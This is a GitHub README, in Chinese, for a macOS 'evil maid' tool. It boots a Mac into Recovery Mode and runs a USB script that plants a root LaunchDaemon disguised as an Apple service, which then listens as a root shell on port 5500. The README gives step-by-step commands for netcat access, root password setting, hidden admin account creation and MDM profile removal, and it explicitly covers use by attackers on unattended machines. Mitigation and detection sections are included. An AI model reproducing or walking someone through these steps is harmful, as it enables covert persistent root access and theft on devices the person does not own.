0xwi11iam/macos-evilmaid

GitHub: 0xwi11iam/macos-evilmaid

利用 macOS 恢复模式绕过 MDM 限制与用户认证,通过植入 LaunchDaemon 实现 root 权限提升的物理安全研究工具。

Stars: 0 | Forks: 0

## 如果 MDM 导致您仅拥有 Mac 的标准权限,那么您来对地方了。干得漂亮! 🟢 [**→ 点击这里!←**](#the-simple-version-tldr) # Evil Maid — 通过恢复模式进行 macOS 权限提升 这是我通过 macOS 红队研究制作的一个工具,我觉得有必要把它记录下来,因为我也曾经历过被自己的 Mac MDM 锁住的挑战。(**我当时真希望有这玩意儿 😂**) 这在 macOS Sequoia 上有效,并在 Tahoe 上尚未测试(很可能会生效)。 ## 获取 Root 的两条路径 这种技术处于一个有趣的交汇点——它可以用于**合法的解锁**,也可以用于**恶意的入侵**,这完全取决于谁在敲击键盘。 ### 路径 1 — 被锁定的所有者 您**拥有**这台 Mac。您花钱买了它。但您却被卡在**标准用户**身份,因为: - 您的雇主或学校将其注册到了 **MDM**(Jamf、Kandji、Intune 等),并通过描述文件锁定了管理员权限。 - 一位 IT 管理员离职了,而没人知道管理员密码。 - 您买了一台二手 Mac,但它仍然受限于上一个组织的 MDM。 - 家人给您设置了账户,却没有授予管理员权限,并且忘记了凭据。 您拥有**物理占有权**和**合法所有权**,但 macOS 却把您当作自己硬件上的客人。恢复模式并不在乎 MDM 强制实施的用户限制——它在 OS 级别的策略层之下运行。这项技术让您可以**在您合法拥有的硬件上重新获得管理员权限**。 [**→ 点击这里!←**](#the-simple-version-tldr) ### 路径 2 — Evil Maid 攻击者获得了他们**不拥有**的 Mac 的**临时物理访问权限**: - 遗忘在咖啡店、酒店房间(经典的“Evil Maid”场景)或办公室的笔记本电脑。 - 在机场托运的设备。 - 共享办公空间或托管设施中的目标机器。 攻击者重启进入恢复模式,从 USB 驱动器运行脚本,然后离开。几分钟后,他们就有了一个回连的 root shell。不需要管理员密码。不需要用户交互。没有认证痕迹。 ### 快速对比 | | 路径 1 — 所有者 | 路径 2 — 攻击者 | |---|---|---| | **所有权** | 合法 | 无 | | **目标** | 在自己的设备上恢复管理员权限 | 未经授权的 root 访问权限 | | **MDM 背景** | MDM 是*障碍* | MDM 是*防御者* | | **物理访问** | 始终拥有 | 临时 / 隐蔽 | | **法律地位** | 您的硬件,您做主 | 非法(CFAA 等) | | **道德立场** | 自力救济 / 维修权 | 恶意入侵 | ## 简单版本 (TL;DR) 这是精简的、对脚本小子友好的版本。没有理论,没有废话——直接拿 root。 **你需要:** 你的 Mac、一个 USB 驱动器,以及连接到同一个 Wi-Fi 的任何其他电脑/手机。 ### 1. 将 `build.sh` 放到 USB 驱动器上 下载此仓库,将 `build.sh` 复制到 U 盘里。就这样。 ### 2. 启动进入恢复模式 - **Intel Mac:** 重启时按住 `⌘ + R`。 - **Apple Silicon Mac:** 按住电源键,然后选择 选项 → 继续。 ### 3. 打开终端并运行脚本 在恢复模式下:选择 **实用工具 → 终端**,然后输入: ``` # 找到你的 USB(它会在 /Volumes/ 下) ls /Volumes/ # 运行脚本(将 USBDRIVE 替换为你的 USB 名称) sh /Volumes/USBDRIVE/build.sh ``` 它会打印出一个 IP 地址和端口。把它们记下来。 ### 4. 正常重启 苹果菜单 → 重新启动。让它启动回您正常的桌面。 ### 5. 连接到您的 root shell 重新登录并打开终端。运行此命令以连接到您创建的 shell。 ``` nc 127.0.0.1 5500 ``` 砰。您现在是 root 了。您会看到一个 `#` 提示符。 ### 6. 设置 root 密码 在那个 root shell 中,运行: ``` dscl . -passwd /Users/root ``` 输入新密码(两次)。您看不到输入的字符——这是正常的。 ### 7. 搞定。以 root 身份登录。 重启您的 Mac。在登录界面,选择**其他…** 并使用以下信息登录: - 用户名:`root` - 密码:您刚刚设置的密码 您现在拥有完整的管理员权限了。MDM 再也拦不住您了。 ## 概述 **标准(非管理员)用户**通过这种方式利用它来获取 root 访问权限。 1. 启动进入 **macOS 恢复模式**(无需认证——不需要用户名或密码)。 2. 挂载系统卷并投放一个以 `root` 身份运行的恶意 **LaunchDaemon**。 3. 正常重启——守护进程会生成一个监听可配置端口的 **reverse shell**。 4. 从 root shell 中,**激活 root 用户**(`dsenableroot`),完成权限提升。 此攻击**确实**需要禁用 FileVault。值得庆幸的是,对于该软件的**合法**用户来说,FileVault 默认是禁用的。 ## 攻击链 ``` flowchart LR A[Physical Access] --> B[Reboot → Recovery Mode
⌘+R / Power hold] B --> C[Mount system volume
via Disk Utility / Terminal] C --> D[Run build.sh
from USB / network share] D --> E[LaunchDaemon installed
on system volume] E --> F[Normal reboot] F --> G[LaunchDaemon starts
reverse shell on port 5500] G --> H[Connect via netcat
→ root shell] H --> I[dsenableroot
→ root account activated] ``` ## 文件 | 文件 | 用途 | |------|---------| | `build.sh` | 安装脚本,从恢复模式的终端运行。它将 payload 和 LaunchDaemon 放置在目标系统卷上。 | ## 使用说明 ### 前置条件 - 目标 Mac 的物理访问权限。 - 一个包含此仓库的 USB 驱动器(或可从恢复模式访问的网络共享)。 - 同一网络上的第二台机器,用于接收 reverse shell。 ### 步骤 1 — 启动进入恢复模式 - **Intel Mac:** 启动期间按住 `Command (⌘) + R`。 - **Apple Silicon Mac:** 按住电源按钮直到出现“正在加载启动选项”,然后选择**选项** → **继续**。 ### 步骤 2 — 挂载系统卷 恢复模式可能会自动将内部驱动器挂载到 `/Volumes/` 下。如果没有,请打开**磁盘工具**,选择内部的“Macintosh HD”(或同等名称),然后点击**挂载**。 确认系统卷是否可访问: ``` ls /Volumes/*/System/Library/CoreServices ``` ### 步骤 3 — 运行安装程序 从**恢复模式终端**(实用工具 → 终端)中,运行: ``` # 示例:脚本位于名为 "USBDRIVE" 的 USB 驱动器上 sh /Volumes/USBDRIVE/build.sh ``` 该脚本将: 1. 自动定位系统卷。 2. 在 `/private/var/tmp/.systemupdate/` 创建一个隐藏的 payload 目录。 3. 写入 reverse shell 代理(`networkd`)和一个伪装成合法 Apple 服务的 LaunchDaemon plist(`com.apple.networkd.plist`)。 4. 将 C2(命令与控制)端口设置为 **5500**。 ### 步骤 4 — 重启并捕获 shell 正常重启 Mac。系统到达登录窗口(或桌面)后,LaunchDaemon 将启动并开始监听。 从您的第二台机器进行连接: ``` nc 5500 ``` 您将进入一个 **root shell**(`/bin/bash -i`),因为 LaunchDaemon 指定了 `UserName: root`。 ### 步骤 5 — 持久化 root 访问权限 ``` # 使用你控制的密码启用 root 用户 dsenableroot # 或者如果已启用,则更改 root 密码 passwd root ``` 您还可以创建一个隐藏的管理员账户: ``` dscl . -create /Users/.hiddenadmin dscl . -create /Users/.hiddenadmin UserShell /bin/bash dscl . -create /Users/.hiddenadmin UniqueID 401 dscl . -create /Users/.hiddenadmin PrimaryGroupID 20 dscl . -create /Users/.hiddenadmin NFSHomeDirectory /var/.hiddenadmin dscl . -passwd /Users/.hiddenadmin dscl . -append /Groups/admin GroupMembership .hiddenadmin ``` ### 步骤 6(路径 1 — 所有者)— 清理 MDM 如果您正在夺回自己被 MDM 锁定的设备,一旦获得 root 权限,您就可以移除 MDM 注册描述文件: ``` # 列出 MDM profiles profiles -L # 移除 MDM enrollment profile(使用 profiles -L 中的 identifier) profiles -R -p # 或者,移除所有 configuration profiles profiles -D -f -v ``` ## 为什么这行得通 macOS 上的恢复模式以**实际上无限的权限**运行——它可以挂载和修改磁盘上的任何 APFS 卷。这里没有用户身份验证关口,因为 Apple 对恢复模式的威胁模型假设操作者就是设备所有者。 这是设计使然:如果您忘记了密码,恢复模式就是 Apple 预期您重置密码的方式。允许您运行 `resetpassword` 的那种能力,同样也允许您运行 `build.sh`。 实现这一点的关键设计选择: - **恢复模式下没有 SIP。** 系统完整性保护在恢复模式下默认是关闭的,允许无限制的写入。 - **没有用户认证。** 恢复模式不会要求输入用户名/密码——只需要固件密码(如果已配置)或 Apple ID(在具有激活锁的 Apple Silicon 上)。 - **LaunchDaemons 以 root 身份运行。** 放置在 `/Library/LaunchDaemons/` 中并带有 `UserName: root` 的 plist 会在引导时、任何用户登录之前(以及在执行任何 MDM 策略之前)以完全权限执行。 - **MDM 是操作系统级别的构造。** 恢复模式运行在已安装的 OS *之下*。MDM 描述文件、配置策略和用户限制在该环境中根本不存在。 ## 缓解措施 防御者可以通过以下措施来加固以抵御此攻击: | 缓解措施 | 有效性 | 备注 | |------------|---------------|-------| | **固件密码** (Intel) / **安全启动 → 完全安全性** (Apple Silicon) | 高 | 防止在未经身份验证的情况下启动进入恢复模式。这是最有效的控制措施。 | | **FileVault(全盘加密)** | 中 | 攻击者无法读取用户数据,但如果 OS 卷未加密(标准 APFS 布局),仍然可以对其进行修改。如果与固件密码结合使用,防御能力会强得多。 | | **MDM / 终端监控** | 中 | 可以对新的 LaunchDaemon、意外的监听端口或 `dsenableroot` 的使用发出警报——但这只能在事件发生*之后*进行。MDM 无法阻止最初的入侵,因为恢复模式完全绕过了它。 | | **物理安全** | 高 | 锁定设备。不要让它无人看管。只要她碰不到硬件,邪恶女佣就无法下手。 | ## 检测 蓝队可以关注: - `/Library/LaunchDaemons/` 中意外的 plist 文件——尤其是模仿 Apple 命名规则的文件(`com.apple.*`)。 - 意外的监听端口(`lsof -i :5500`、`netstat -an | grep 5500`)。 - `/private/var/tmp/` 下的隐藏目录(例如 `.systemupdate`)。 - 统一日志中的 `dsenableroot` 或 `dscl` 调用(`log show --predicate 'process == "dsenableroot"'`)。 - 在没有通过 MDM 控制台进行管理操作的情况下,MDM 注册描述文件突然消失。 ## 重要注意事项 在**制造过程中或安装 macOS 时**,系统卷会使用加密封条进行签名。如果 Mac 具有 T2 芯片或 Apple Silicon,并且启用了 `csrutil` 的 authenticated-root 设置,修改系统卷将**破坏封条**,并可能触发警告,或者根据安全启动策略阻止启动。此脚本针对的是**数据卷**组件(位于可写数据卷上的 `/private/var/tmp/` 和 `/Library/LaunchDaemons/`),因此不会影响该封条。 ## 常见问题 ### 这在 Apple Silicon 上有效吗? 是的。过程完全相同——按住电源按钮进入启动选项,选择“选项”,然后继续。唯一的区别是 Apple Silicon Mac 可能启用了激活锁(绑定到 Apple ID),这增加了一个额外的认证关口。 ### MDM 会检测到这个吗? 在攻击期间不会。MDM 仅在 macOS 运行时起作用。恢复模式是一个单独的引导环境。一旦 macOS 带着活动的后门启动,MDM *可能*会检测到异常的 LaunchDaemon 或监听端口——但到那时您已经拥有 root 权限了。 ### FileVault 能阻止这个吗? 部分能。FileVault 会加密用户数据,但在标准的 APFS 安装中,OS 卷本身并未加密。LaunchDaemon 目录(`/Library/LaunchDaemons/`)位于数据卷上,该卷*确实*由 FileVault 加密。然而,在恢复模式中,如果使用已知密码解锁了该卷(或者如果该卷被挂载),修改是可能的。 ### 这是一个漏洞吗? 不,这不算是一个值得分配 CVE 编号的漏洞。这是 Apple 恢复架构众所周知的一个后果:物理访问权限 + 没有固件密码 = 游戏结束。Apple 的文档明确建议在敏感环境中设置固件密码。此仓库只是将该设计的利用过程自动化了。 ## 免责声明 该工具仅用于**授权的安全研究、红队评估和合法的设备恢复**。作者对任何误用不承担任何责任。如果您不拥有该硬件或缺乏明确的书面许可——请不要运行此程序。 ## 许可证 MIT — 做您想做的,但请勿作恶。
标签:Cutter, MDM解锁, Web报告查看器, 物理安全, 系统运维